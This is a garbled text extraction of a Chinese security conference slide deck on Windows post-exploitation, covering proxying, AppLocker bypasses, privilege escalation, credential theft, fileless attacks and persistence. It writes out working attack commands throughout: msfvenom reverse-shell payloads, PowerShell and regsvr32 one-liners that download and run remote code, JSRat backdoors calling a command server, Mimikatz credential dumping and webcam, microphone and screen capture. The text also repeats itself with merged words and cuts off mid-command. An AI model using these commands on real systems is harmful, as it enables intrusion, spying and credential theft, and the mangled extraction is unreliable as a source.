后渗透阶段的攻防对抗教学课件

1212Shell

is

Only

the

Beginning——后渗透阶段的攻防对抗3gstudent

&

Evi1cg22ShellisOnlytheBeginning——后As

a

offensive

researcher,

if

you

can

dream

it,someone

has

likelyalready

done

it

and

that

someone

isn’t

the

kind

ofperson

who

speaks

at

security

cons…——Matt

Graeber32Asaoffensiveresearcher,if3gstudentGoodStudyGoodHealthGoodAttitude423gstudentGoodStudyGoodHealthEvi1cgThinWhiteHatSecurityResearcher52Evi1cgThinWhiteHatSecurityRes后渗透阶段

渗透测试以特定的业务系统作为目标，识别出关键的基础设施，并寻找客户组织最具价值和尝试进行安全

保护的信息和资产

黑客攻击黑客对攻击战果进一步扩大，以

及尽可能隐藏自身痕迹的过程62后渗透阶段 渗透测试 黑客攻击62•打开一扇窗•Open

Proxy•绕过看门狗••我来作主人Bypass

Application

Whitelisting

•Escalate

Privileges•屋里有什么•Gather

Information•我来抓住你•Detection

and

Mitigations•挖一个密道•Persistence目录72•打开一扇窗•OpenProxy•绕过看门狗••我来作主

打开一扇窗Open

Proxy82 打开一扇窗82为什么用代理?•

更好地接触到目标所处环境•

使用已有shell的机器作为跳板，扩大战果•

It’s

the

beginning92为什么用代理?•更好地接触到目标所处环境•使用已常用方法端口转发：Client->

Lcx,

Netsh;HTTP->

Tunnel;Metasploit->

PortpwdHTTP->

ReGeorg;

Metasploit->

Socks4aSocks代理：Client->

Ew,Xsocks;其他：SSH,

ICMP

等Vpn102常用方法端口转发：Client->Lcx,Netsh！然而，我们可能会碰到这样的情况：•

安装杀毒软件,拦截“恶意”程序•

设置应用程序白名单,限制白名单以外的程序运行eg：Windows

Applocker112！然而，我们可能会碰到这样的情况：•安装杀毒软件,拦截Windows

AppLocker简介：即“应用程序控制策略”，可用来对可执行程序、安装程序和脚本进行控制开启默认规则后，除了默认路径可以执行外，其他路径均无法执行程序和脚本122WindowsAppLocker简介：即“应用程序控制策略绕过看门狗Bypass

Application

Whitelisting132绕过看门狗BypassApplicationWhitel绕过思路ü

Htaü

Office

Macroü

Cplü

Chmü

Powershellü

Rundll32ü

Regsvr32ü

Regsvcsü

Installutil…142绕过思路üHtaüOfficeMacroüP1、HtaMore：•

Mshta.exevbscript:CreateObject("Wscript.Shell").Run("calc.exe",0,true)(window.close)•

Mshta.exe

javascript:"\..\mshtml,RunHTMLApplication";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd

/c

taskkill

/f

/immshta.exe",0,true);}1521、HtaMore：•Mshta.exevbscri2、Office

MacroMacroRaptor：•

Detect

malicious

VBA

Macros•

Python•

/decalage/oletools/wiki/mraptor1622、OfficeMacroMacroRaptor：•

3、CplDLL/CPL:生成Payload.dll:msfvenom

-pwindows/meterpreter/reverse_tcp-B‘\x00\xff’lhost=32lport=8888-fdll

-opayload.dll(1)直接运行dll：rundll32shell32.dll,Control_RunDLLpayload.dll(2)将dll重命名为cpl，双击运行(3)普通的dll直接改后缀名From:

/tips/16042172 3、Cpl(1)直接运行dll：From:http:/4、Chm高级组合技打造“完美”

捆绑后门：

/tips/14254利用系统CHM文件实现隐蔽后门：《那些年我们玩过的奇技淫巧》1824、Chm高级组合技打造“完美”捆绑后门：利用系统CHM文5、PowershellCommand:•

powershell-nop

-execBypass-cIEX(New-OBjectet.WeBClient).DownloadString('http://ip:port/')•

Get-Contentpayload.ps1|iex•

cmd.exe/K<payload.batLnk：•

powershell-nop

-windowshidden-EYwBhAGwAYwAuAGUAeABlAA==如果禁用powershell:•

通过.Net执行powershell：

https://B/keBaB/2014/04/28/executing-powershell-scripts-from-c/•

p0wnedShell：

https://githuB.com/Cn33liz/p0wnedShell•

PowerOPS：

https://laBs.portcullis.co.uk/Blog/powerops-powershell-for-offensive-operations/1925、PowershellCommand:如果禁用powers6、Rundll32javascript

:rundll32.exejavascript:“\..\mshtml,RunHTMLApplication

”;document.write();new%20ActiveXOBject(“WScript.Shell”).Run(“powershell

-nop-execBypass-cIEX(New-OBjectNet.WeBClient).DownloadString(‘http://ip:port/’);”)Dll：rundll32shell32.dll,Control_RunDLLpayload.dllFrom:

/tips/117642026、Rundll32javascript:rundll32

7、Regsvr32Regsvr32.exe（.sct）：三种启动方式：regsvr32/u/n/s/i:payload.sct

scroBj.dllregsvr32/u/n/s/i:http://ip:port/payload.sct

scroBj.dll右键注册From:http://suBt0x10.Blogspot.jp/2016/04/Bypass-application-whitelisting-script.html/tips/15124212 7、Regsvr32From:

8、RegsvcsRegasm

&Regsvcs：创建key

->key.snk$key=‘BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZBp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhBdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkBix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFBD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZBOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FBdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIBoWsx4V8aiWx8FPPngEmNz89tBAQ8zBIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9B/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tBLZUefrFnLNiHfVjNi53Yg4=’$Content=[System.Convert]::FromBase64String($key)Set-Contentkey.snk

-Value$Content-EncodingByte编译：C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

/r:System.EnterpriseServices.dll

/target:liBrary/out:Regasm.dll

/keyfile:key.snk

Regasm.cs运行：C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe

Regasm.dll[OR]C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe

Regasm.dll//如果没有管理员权限使用/U来运行C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe

/URegasm.dllC:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe

/URegasm.dllFrom:

https://gist.githuB.com/suBTee/e1c54e1fdafc15674c9a222 8、RegsvcsC:\Windows\Microsoft

9、InstallutilInstallUtil：编译：C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

/unsafe/platform:x64/out:InstallUtil.exe

InstallUtil.cs编译以后用/U参数运行：C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe

/UInstallUtil.exeFrom:http://suBt0x10.Blogspot.jp/2015/08/application-whitelisting-Bypasses-101.html/tips/8862232 9、InstallutilFrom:http://suBt10、可执行目录通过ps脚本扫描可写入的路径,脚本下载地址：http://go.mssec.se/AppLockerBCFrom:

/tips/1180424210、可执行目录通过ps脚本扫描可写入的路径,脚本下载地址：11、最直接的方式提权25211、最直接的方式提权252我来作主人Escalate

Privileges262我来作主人EscalatePrivileges262常见的提权方式•

本地提权漏洞•

服务提权•

协议•

Phishing272常见的提权方式•本地提权漏洞•服务提权•协本地提权根据补丁号来确定是否存在漏洞的脚本：https://githuB.com/GDSSecurity/Windows-Exploit-Suggester将受害者计算机systeminfo导出到文件:Systeminfo>

1.txt使用脚本判断存在的漏洞：pythonwindows-exploit-suggester.py--dataBase2016-05-31-mssB.xls--systeminfo~/Desktop/1.txt282本地提权根据补丁号来确定是否存在漏洞的脚本：https://可能遇到的问题Exp被杀！将Exp改成Powershell：http://evi1cg.me/archives/MS16-032-Windows-Privilege-Escalation.html292可能遇到的问题Exp被杀！将Exp改成Powershell：Demo

Time302DemoTime302312312服务提权常用服务：Mssql，Mysql，Oracle，Ftp第三方服务：Dll劫持，文件劫持提权脚本Powerup：/tips/11989322服务提权常用服务：Mssql，Mysql，Oracle，Ft协议提权利用已知的Windows中的问题，以获得本地权限提升

->

Potato其利用NTLM中继（特别是基于HTTP

>

SMB中继）和NBNS欺骗进行提权。详情：http://tools.pwn.ren/2016/01/17/potato-windows.html332协议提权利用已知的Windows中的问题，以获得本地权限提升PhishingMSF

Ask模块：exploit/windows/local/ask通过runas方式来诱导用户通过点击uac验证来获取最高权限。需要修改的msf脚本metasploit/lib/msf/core/post/windows/runas.rb342PhishingMSFAsk模块：exploit/winPhishing

Demo352PhishingDemo352362362屋里有什么Gather

Information372屋里有什么GatherInformation372Gather

Information成为了主人，或许我们需要看看屋里里面有什么？两种情况：1：已经提权有了最高权限，为所欲为2：未提权，用户还有UAC保护，还不能做所有的事情382GatherInformation成为了主人，或许我们需要Bypass

UAC常用方法：ü

使用IFileOperation

COM接口ü

使用Wusa.exe的extract选项ü

远程注入SHELLCODE

到傀儡进程ü

DLL劫持，劫持系统的DLL文件ü

直接提权过UACü

Phishing

http://evi1cg.me/archives/Powershell_Bypass_UAC.htmlü

/?page_id=380392BypassUAC常用方法：ü使用IFileOperat有了权限，要做什么搜集mstsc记录，浏览器历史记录，最近操作的文件，本机密码等键盘记录屏幕录像Netripper402有了权限，要做什么搜集mstsc记录，浏览器历史记录，最近操GetPass

Tips通过脚本弹出认证窗口，让用户输入账号密码，由此得到用户的明文密码。powershell脚本如下：From:/Ridter/Pentest/blob/master/note/Powershell_MSFCapture.md412GetPassTips通过脚本弹出认证窗口，让用户输入账号GetPass

TipsMSF模块post/windows/gather/phish_windows_credentials422GetPassTipsMSF模块post/windows/

更多参考Installed

Programs﹒Startup

ItemsInstalled

Services﹒File/Printer

Shares

﹒DatabaseServers﹒Certificate

Authority﹒Security

ServicesSensitive

Data﹒Key-logging﹒Screen

capture﹒Network

traffic

captureUser

InformationSystem

Configuration﹒Password

Policy﹒Security

Policies﹒Configured

Wireless

Networks

and

Keys432 更多参考﹒File/PrinterShares﹒D新的攻击方法无文件442新的攻击方法无文件442无文件姿势之(一)-Powershell屏幕监控：powershell

-nop

-exec

bypass

-c

“IEX

(New-Object

Net.WebClient).DownloadString(‘http://evi1cg.me/powershell/Show-TargetScreen.ps1’);

Show-TargetScreen”录音：powershell

-nop

-exec

bypass

-c

“IEX

(New-Object

Net.WebClient).DownloadString(‘/PowerShellMafia/PowerSploit/dev/Exfiltration/Get-MicrophoneAudio.ps1’);Get-MicrophoneAudio

-Path

$env:TEMP\secret.wav

-Length

10

-Alias

‘SECRET’”摄像头监控：powershell

-nop

-exec

bypass

-c

“IEX

(New-Object

Net.WebClient).DownloadString(‘/xorrior/RandomPS-Scripts/master/MiniEye.ps1’);

Capture-MiniEye

-RecordTime

2

-Path

$env:temp\hack.avi”-Path

$env:temp\hack.avi”抓Hash:powershell

IEX

(New-Object

Net.WebClient).DownloadString(‘/samratashok/nishang/master/Gather/Get-PassHashes.ps1’);Get-PassHashes抓明文：powershell

IEX

(New-Object

Net.WebClient).DownloadString('/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');

Invoke-Mimikatz452无文件姿势之(一)-Powershell屏幕监控：power无文件姿势之(一)-PowershellEmpire:Metasploit:462无文件姿势之(一)-PowershellEmpire:Met无文件姿势之(二)-

jsJsRat：rundll32.exe

javascript:"\..\mshtml,RunHTMLApplication";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET",":8081/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd

/c

taskkill

/f

/im

rundll32.exe",0,true);}From:《JavaScriptBackdoor》

/tips/11764《JavaScriptPhishing》

/tips/12386472无文件姿势之(二)-jsJsRat：rundll32.ex无文件姿势之(三)-

mshta启动JsRat：Mshta

javascript:"\..\mshtml,RunHTMLApplication";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","01:9998/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd

/c

taskkill

/f

/immshta.exe",0,true);}482无文件姿势之(三)-mshta启动JsRat：Mshta

无文件姿势之(四)-

sctSCT：regsvr32

/u

/sCalc.sct

/i:http://urlto/calc.sct

scrobj.dllFrom:

《

UseSCTtoBypassApplicationWhitelistingProtection》/tips/15124492 无文件姿势之(四)-sctregsvr32/u

无文件姿势之(五)

-

wscWsc：rundll32.exejavascript:"\..\mshtml,RunHTMLApplicationCalc.wsc";document.write();GetObject("script:http://urlto/calc.wsc")

From:

《

WSC、JSRATandWMIBackdoor》/tips/15575502 无文件姿势之(五)-wscrundll32.exeCaDemo

Time512DemoTime512522522

挖一个密道Persistence532 挖一个密道532常见方法ü启动项ü注册表üwmiüatüschtasksü利用已有的第三方服务542常见方法ü启动项üschtasksü利用已有的第三方服务54新方法Bitsadmin：•

需要获得管理员权限•

可开机自启动、间隔启动•

适用于Win7

、Win8、Server

2008及以上操作系统•

可绕过Autoruns对启动项的检测•

已提交至MSRC(Microsoft

Security

Response

Center)552新方法Bitsadmin：•需要获得管理员权限•Demo

Time562DemoTime562572572我来抓住你Detection

and

Mitigations582我来抓住你DetectionandMitigationsDetection

and

Mitigations•

bitsadmin

/list

/allusers

/verbose•

Stop

Background

Intelligent

Transfer

Service592DetectionandMitigations•Detection

and

Mitigations602DetectionandMitigations602关注drops612关注drops612Special

thanks

toCasey

Smith

@subTee622SpecialthankstoCaseySmithReference1、Shell

is

Only

the

Beginning

quote

from

Carlos

Perez’s

Blog/2、

Matt

Graeber’s

idea

quote

from/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor.pdf632Reference1、ShellisOnlythQ&A3642Q&A364265265266212Shell

is

Only

the

Beginning——后渗透阶段的攻防对抗3gstudent

&

Evi1cg672ShellisOnlytheBeginning——后As

a

offensive

researcher,

if

you

can

dream

it,someone

has

likelyalready

done

it

and

that

someone

isn’t

the

kind

ofperson

who

speaks

at

security

cons…——Matt

Graeber682Asaoffensiveresearcher,if3gstudentGoodStudyGoodHealthGoodAttitude6923gstudentGoodStudyGoodHealthEvi1cgThinWhiteHatSecurityResearcher702Evi1cgThinWhiteHatSecurityRes后渗透阶段

渗透测试以特定的业务系统作为目标，识别出关键的基础设施，并寻找客户组织最具价值和尝试进行安全

保护的信息和资产

黑客攻击黑客对攻击战果进一步扩大，以

及尽可能隐藏自身痕迹的过程712后渗透阶段 渗透测试 黑客攻击62•打开一扇窗•Open

Proxy•绕过看门狗••我来作主人Bypass

Application

Whitelisting

•Escalate

Privileges•屋里有什么•Gather

Information•我来抓住你•Detection

and

Mitigations•挖一个密道•Persistence目录722•打开一扇窗•OpenProxy•绕过看门狗••我来作主

打开一扇窗Open

Proxy732 打开一扇窗82为什么用代理?•

更好地接触到目标所处环境•

使用已有shell的机器作为跳板，扩大战果•

It’s

the

beginning742为什么用代理?•更好地接触到目标所处环境•使用已常用方法端口转发：Client->

Lcx,

Netsh;HTTP->

Tunnel;Metasploit->

PortpwdHTTP->

ReGeorg;

Metasploit->

Socks4aSocks代理：Client->

Ew,Xsocks;其他：SSH,

ICMP

等Vpn752常用方法端口转发：Client->Lcx,Netsh！然而，我们可能会碰到这样的情况：•

安装杀毒软件,拦截“恶意”程序•

设置应用程序白名单,限制白名单以外的程序运行eg：Windows

Applocker762！然而，我们可能会碰到这样的情况：•安装杀毒软件,拦截Windows

AppLocker简介：即“应用程序控制策略”，可用来对可执行程序、安装程序和脚本进行控制开启默认规则后，除了默认路径可以执行外，其他路径均无法执行程序和脚本772WindowsAppLocker简介：即“应用程序控制策略绕过看门狗Bypass

Application

Whitelisting782绕过看门狗BypassApplicationWhitel绕过思路ü

Htaü

Office

Macroü

Cplü

Chmü

Powershellü

Rundll32ü

Regsvr32ü

Regsvcsü

Installutil…792绕过思路üHtaüOfficeMacroüP1、HtaMore：•

Mshta.exevbscript:CreateObject("Wscript.Shell").Run("calc.exe",0,true)(window.close)•

Mshta.exe

javascript:"\..\mshtml,RunHTMLApplication";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd

/c

taskkill

/f

/immshta.exe",0,true);}8021、HtaMore：•Mshta.exevbscri2、Office

MacroMacroRaptor：•

Detect

malicious

VBA

Macros•

Python•

/decalage/oletools/wiki/mraptor8122、OfficeMacroMacroRaptor：•

3、CplDLL/CPL:生成Payload.dll:msfvenom

-pwindows/meterpreter/reverse_tcp-B‘\x00\xff’lhost=32lport=8888-fdll

-opayload.dll(1)直接运行dll：rundll32shell32.dll,Control_RunDLLpayload.dll(2)将dll重命名为cpl，双击运行(3)普通的dll直接改后缀名From:

/tips/16042822 3、Cpl(1)直接运行dll：From:http:/4、Chm高级组合技打造“完美”

捆绑后门：

/tips/14254利用系统CHM文件实现隐蔽后门：《那些年我们玩过的奇技淫巧》8324、Chm高级组合技打造“完美”捆绑后门：利用系统CHM文5、PowershellCommand:•

powershell-nop

-execBypass-cIEX(New-OBjectet.WeBClient).DownloadString('http://ip:port/')•

Get-Contentpayload.ps1|iex•

cmd.exe/K<payload.batLnk：•

powershell-nop

-windowshidden-EYwBhAGwAYwAuAGUAeABlAA==如果禁用powershell:•

通过.Net执行powershell：

https://B/keBaB/2014/04/28/executing-powershell-scripts-from-c/•

p0wnedShell：

https://githuB.com/Cn33liz/p0wnedShell•

PowerOPS：

https://laBs.portcullis.co.uk/Blog/powerops-powershell-for-offensive-operations/8425、PowershellCommand:如果禁用powers6、Rundll32javascript

:rundll32.exejavascript:“\..\mshtml,RunHTMLApplication

”;document.write();new%20ActiveXOBject(“WScript.Shell”).Run(“powershell

-nop-execBypass-cIEX(New-OBjectNet.WeBClient).DownloadString(‘http://ip:port/’);”)Dll：rundll32shell32.dll,Control_RunDLLpayload.dllFrom:

/tips/117648526、Rundll32javascript:rundll32

7、Regsvr32Regsvr32.exe（.sct）：三种启动方式：regsvr32/u/n/s/i:payload.sct

scroBj.dllregsvr32/u/n/s/i:http://ip:port/payload.sct

scroBj.dll右键注册From:http://suBt0x10.Blogspot.jp/2016/04/Bypass-application-whitelisting-script.html/tips/15124862 7、Regsvr32From:

8、RegsvcsRegasm

&Regsvcs：创建key

->key.snk$key=‘BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZBp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhBdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkBix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFBD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZBOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FBdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIBoWsx4V8aiWx8FPPngEmNz89tBAQ8zBIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9B/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tBLZUefrFnLNiHfVjNi53Yg4=’$Content=[System.Convert]::FromBase64String($key)Set-Contentkey.snk

-Value$Content-EncodingByte编译：C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

/r:System.EnterpriseServices.dll

/target:liBrary/out:Regasm.dll

/keyfile:key.snk

Regasm.cs运行：C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe

Regasm.dll[OR]C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe

Regasm.dll//如果没有管理员权限使用/U来运行C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe

/URegasm.dllC:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe

/URegasm.dllFrom:

https://gist.githuB.com/suBTee/e1c54e1fdafc15674c9a872 8、RegsvcsC:\Windows\Microsoft

9、InstallutilInstallUtil：编译：C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

/unsafe/platform:x64/out:InstallUtil.exe

InstallUtil.cs编译以后用/U参数运行：C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe

/UInstallUtil.exeFrom:http://suBt0x10.Blogspot.jp/2015/08/application-whitelisting-Bypasses-101.html/tips/8862882 9、InstallutilFrom:http://suBt10、可执行目录通过ps脚本扫描可写入的路径,脚本下载地址：http://go.mssec.se/AppLockerBCFrom:

/tips/1180489210、可执行目录通过ps脚本扫描可写入的路径,脚本下载地址：11、最直接的方式提权90211、最直接的方式提权252我来作主人Escalate

Privileges912我来作主人EscalatePrivileges262常见的提权方式•

本地提权漏洞•

服务提权•

协议•

Phishing922常见的提权方式•本地提权漏洞•服务提权•协本地提权根据补丁号来确定是否存在漏洞的脚本：https://githuB.com/GDSSecurity/Windows-Exploit-Suggester将受害者计算机systeminfo导出到文件:Systeminfo>

1.txt使用脚本判断存在的漏洞：pythonwindows-exploit-suggester.py--dataBase2016-05-31-mssB.xls--systeminfo~/Desktop/1.txt932本地提权根据补丁号来确定是否存在漏洞的脚本：https://可能遇到的问题Exp被杀！将Exp改成Powershell：http://evi1cg.me/archives/MS16-032-Windows-Privilege-Escalation.html942可能遇到的问题Exp被杀！将Exp改成Powershell：Demo

Time952DemoTime302962312服务提权常用服务：Mssql，Mysql，Oracle，Ftp第三方服务：Dll劫持，文件劫持提权脚本Powerup：/tips/11989972服务提权常用服务：Mssql，Mysql，Oracle，Ft协议提权利用已知的Windows中的问题，以获得本地权限提升

->

Potato其利用NTLM中继（特别是基于HTTP

>

SMB中继）和NBNS欺骗进行提权。详情：http://tools.pwn.ren/2016/01/17/potato-windows.html982协议提权利用已知的Windows中的问题，以获得本地权限提升PhishingMSF

Ask模块：exploit/windows/local/ask通过runas方式来诱导用户通过点击uac验证来获取最高权限。需要修改的msf脚本metasploit/lib/msf/core/post/windows/runas.rb992PhishingMSFAsk模块：exploit/winPhishing

Demo1002PhishingDemo3521012362屋里有什么Gather

Information1022屋里有什么GatherInformation372Gather

Information成为了主人，或许我们需要看看屋里里面有什么？两种情况：1：已经提权有了最高权限，为所欲为2：未提权，用户还有UAC保护，还不能做所有的事情1032GatherInformation成为了主人，或许我们需要Bypass

UAC常用方法：ü

使用IFileOperation

COM接口ü

使用Wusa.exe的extract选项ü

远程注入SHELLCODE

到傀儡进程ü

DLL劫持，劫持系统的DLL文件ü

直接提权过UACü

Phishing

http://evi1cg.me/archives/Powershell_Bypass_UAC.htmlü

/?page_id=3801042BypassUAC常用方法：ü使用IFileOperat有了权限，要做什么搜集mstsc记录，浏览器历史记录，最近操作的文件，本机密码等键盘记录屏幕录像Netripper1052有了权限，要做什么搜集mstsc记录，浏览器历史记录，最近操GetPass

Tips通过脚本弹出认证窗口，让用户输入账号密码，由此得到用户的明文密码。powershell脚本如下：From:/Ridter/Pentest/blob/master/note/Powershell_MSFCapture.md1062GetPassTips通过脚本弹出认证窗口，让用户输入账号GetPass

TipsMSF模块post/windows/gather/phish_windows_credentials1072GetPassTipsMSF模块post/windows/

更多参考Installed

Programs﹒Startup

ItemsInstalled

Services﹒File/Printer

Shares

﹒DatabaseServers﹒Certificate

Authority﹒Security

ServicesSensitive

Data﹒Key-logging﹒Screen

capture﹒Network

traffic

captureUser

InformationSystem

Configuration﹒Password

Policy﹒Security

Policies﹒Configured

Wireless

Networks

and

Keys1082 更多参考﹒File/PrinterShares﹒D新的攻击方法无文件1092新的攻击方法无文件442无文件姿势之(一)-Powershell屏幕监控：powershell

-nop

-exec

bypass

-c

“IEX

(New-Object

Net.WebClient).DownloadString(‘http://evi1cg.me/powershell/Show-TargetScreen.ps1’);

Show-TargetScreen”录音：powershell

-nop

-exec

bypass

-c

“IEX

(New-Object

Net.WebClient).DownloadString(‘/PowerShellMafia/PowerSploit/dev/Exfiltration/Get-MicrophoneAudio.ps1’);Get-MicrophoneAudio

-Path

$env:TEMP\secret.wav

-Length

10

-Alias

‘SECRET’”摄像头监控：powershell

-nop

-exec

bypass

-c

“IEX

(New-Object

Net.WebClient).DownloadString(‘/xorrior/RandomPS-Scripts/master/MiniEye.ps1’);

Capture-MiniEye

-RecordTime

2

-Path

$env:temp\hack.avi”-Path

$env:temp\hack.avi”抓Hash:powershell

IEX

(New-Object

Net.WebClient).DownloadString(‘/samratashok/nishang/master/Gather/Get-PassHashes.ps1’);Get-PassHashes抓明文：powershell

IEX

(New-Object

Net.WebClient).DownloadString('/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');

Invoke-Mimikatz1102无文件姿势之(一)-Powershell屏幕监控：power无文件姿势之(一)-PowershellEmpire:Metasploit:1112无文件姿势之(一)-PowershellEmpire:Met无文件姿势之(二)-

jsJsRat：rundll32.exe

javascript:"\..\mshtml,RunHTMLApplication";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET",":8081/connect",fals